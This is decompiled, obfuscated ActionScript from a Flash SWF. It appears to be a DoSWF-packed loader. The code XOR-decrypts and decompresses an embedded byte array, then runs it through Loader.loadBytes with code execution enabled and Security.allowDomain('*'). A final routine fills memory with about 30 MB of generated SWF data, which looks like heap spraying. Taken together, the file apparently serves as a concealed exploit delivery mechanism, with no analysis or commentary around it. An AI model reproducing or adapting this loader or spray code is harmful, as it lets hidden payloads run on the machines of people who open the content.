Section 1
//ȸ» (ȸ»)
package {
import flash.utils.*;
public class ȸ» extends ByteArray {
}
}//package
Section 2
//ʏ (ʏ)
package {
import flash.events.*;
import flash.display.*;
import flash.system.*;
import flash.net.*;
import flash.utils.*;
import laan.smart.proxies.filesystem.*;
public dynamic class ʏ extends MovieClip {
private var ȸ<;
private var ȸ<;
private var ȸ<;
private var init;
private var init:uint;
private var init:uint;
private var init:uint;
private var init:uint;
private var init;
private var init;
private var init;
private static const ȸ< = "_doswf_package.LoadingBarBase";
public function ʏ(){
if (Security.sandboxType != "application"){
Security.allowDomain("*");
};
if (stage){
this.init();
} else {
addEventListener(Event.ADDED_TO_STAGE, this.init);
};
}
private function init(_arg1:Event=null):void{
var _local2:* = null;
_local2 = null;
if (_arg1){
removeEventListener(Event.ADDED_TO_STAGE, this.init);
};
this.ȸ< = new LoaderContext(false, ApplicationDomain.currentDomain);
if (this.ȸ<.hasOwnProperty("allowLoadBytesCodeExecution")){
Object(this.ȸ<).allowLoadBytesCodeExecution = true;
};
if (this.ȸ<.hasOwnProperty("parameters")){
Object(this.ȸ<)["parameters"] = stage.loaderInfo.parameters;
};
StageAlign.prototype["@doswf__s"] = stage;
StageAlign.prototype.setPropertyIsEnumerable("@doswf__s", false);
LoaderInfo.prototype["@doswf__u"] = stage.loaderInfo.url;
LoaderInfo.prototype.setPropertyIsEnumerable("@doswf__u", false);
LoaderInfo.prototype["@doswf__p"] = stage.loaderInfo.parameters;
LoaderInfo.prototype.setPropertyIsEnumerable("@doswf__p", false);
if (ApplicationDomain.currentDomain.hasDefinition(ȸ<)){
_local2 = (ApplicationDomain.currentDomain.getDefinition(ȸ<) as Class);
this.ȸ< = (new (_local2) as DisplayObject);
addChild(this.ȸ<);
stop();
addEventListener(Event.ENTER_FRAME, this.init);
} else {
this.init();
};
}
private function init():void{
var _local1:* = null;
_local1 = this.init(new ȸ»());
_local1.uncompress();
this.init(_local1);
}
private function init(_arg1:ByteArray):void{
var _local5:* = null;
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_arg1.endian = Endian.LITTLE_ENDIAN;
_arg1.position = 0;
if (_arg1.readBoolean()){
this.init(_arg1);
};
this.init = _arg1.readBoolean();
_local2 = _arg1.readUnsignedInt();
_local3 = new ByteArray();
_arg1.readBytes(_local3, 0, _local2);
this.ȸ< = new ByteArray();
_arg1.readBytes(this.ȸ<);
_local4 = new Loader();
_local4.contentLoaderInfo.addEventListener(Event.INIT, this.init);
_local4.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.init);
_local5 = _local4;
_local5[(String(String(_local4).split(/[\s\]]+/g)[1]).toLocaleLowerCase().substr(0, -2) + "Bytes")](_local3, this.ȸ<);
}
private function init(_arg1:ByteArray):ByteArray{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_local4 = 0;
_arg1.endian = Endian.LITTLE_ENDIAN;
_arg1.position = 0;
this.init = (_arg1.readUnsignedByte() - 1);
this.init = (_arg1.readUnsignedByte() - 1);
this.init = (_arg1.readUnsignedInt() - 3);
this.init = (_arg1.readUnsignedInt() - 1);
_local2 = new ByteArray();
_local2.writeBytes(_arg1, (_arg1.length - this.init), this.init);
_local3 = 0;
while (true) {
_local4 = 0;
while (_local4 < this.init) {
_local2[_local3] = (_local2[_local3] ^ this.init);
_local3++;
if (_local3 >= this.init){
break;
};
_local4 = (_local4 + 7);
};
_local3 = (_local3 + this.init);
if (_local3 >= this.init){
break;
};
};
return (_local2);
}
private function init(_arg1:Event):void{
var _local7:* = null;
var _local6:* = null;
var _local5:* = null;
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_local4 = null;
_local5 = 0;
_local6 = undefined;
if ((_arg1 is ProgressEvent)){
this.init = (_arg1 as ProgressEvent);
return;
};
_local2 = (_arg1.target as LoaderInfo);
_local2.removeEventListener(Event.INIT, this.init);
_local2.removeEventListener(ProgressEvent.PROGRESS, this.init);
_local3 = _local2.loader;
if (this.ȸ<){
_local3 = new Loader();
_local3.contentLoaderInfo.addEventListener(Event.INIT, this.init);
_local3.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.init);
_local7 = _local3;
_local7[(String(String(_local3).split(/[\s\]]+/g)[1]).toLocaleLowerCase().substr(0, -2) + "Bytes")](this.ȸ<, this.ȸ<);
this.ȸ< = null;
return;
};
if ((parent is Stage)){
if (this.init){
parent.addChildAt(_local3.content, 0);
parent.removeChild(this);
} else {
addChild(_local3);
};
} else {
if (this.init){
addChildAt(_local3.content, 0);
} else {
addChildAt(_local3, 0);
};
};
if (((this.init) && (this.init))){
_local4 = (_local2.content as DisplayObjectContainer);
if (_local4.hasOwnProperty("@doswf__lph")){
_local7 = Object(_local4);
_local7["@doswf__lph"](this.init);
} else {
_local5 = 0;
while (_local5 < _local4.numChildren) {
_local6 = _local4.getChildAt(_local5);
if (_local6.hasOwnProperty("@doswf__lph")){
_local7 = _local6;
_local7["@doswf__lph"](this.init);
break;
};
_local5++;
};
};
};
}
private function init(_arg1:Event):void{
var _local2:* = null;
_local2 = (loaderInfo.bytesLoaded / loaderInfo.bytesTotal);
Object(this.ȸ<).setProgress(this, _local2);
if (_local2 == 1){
removeEventListener(Event.ENTER_FRAME, this.init);
removeChild(this.ȸ<);
gotoAndStop(2);
this.init();
};
}
private function init(_arg1:ByteArray):void{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
this.init = [];
_local2 = _arg1.readUnsignedInt();
_local3 = _arg1.readUnsignedInt();
_local4 = new ByteArray();
_arg1.readBytes(_local4, 0, _local3);
this.init = new ByteArray();
this.init.endian = Endian.LITTLE_ENDIAN;
this.init = [_local2, _local4];
addEventListener(Event.ENTER_FRAME, this.init);
this.init(null);
}
private function init(_arg1:Event):void{
var _local7:* = null;
var _local6:* = null;
var _local5:* = null;
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_local5 = null;
_local6 = null;
_local7 = 0;
_local2 = this.init[0];
_local3 = this.init[1];
_local4 = 3;
while (_local4-- > 0) {
_local5 = new ByteArray();
_local5.writeBytes(_local3);
_local5.position = _local5.length;
_local5.endian = Endian.LITTLE_ENDIAN;
_local6 = new ByteArray();
_local7 = (Math.random() * Math.min(_local2, ((2 * 0x0400) * 0x0400)));
while (_local6.length < _local7) {
_local6.writeBytes(_local3, ((Math.random() * _local3.length) / 3));
};
_local6.length = _local7;
if (_local6.length >= 63){
_local5.writeShort(((87 << 6) | 63));
_local5.writeUnsignedInt(_local6.length);
} else {
_local5.writeShort(((87 << 6) | _local6.length));
};
_local5.writeBytes(_local6);
_local5.writeShort((1 << 6));
_local5.writeShort(0);
_local5.position = 4;
_local5.writeUnsignedInt(_local5.length);
this.init.writeBytes(_local5);
if (this.init.length > ((30 * 0x0400) * 0x0400)){
removeEventListener(Event.ENTER_FRAME, this.init);
break;
};
};
}
}
}//package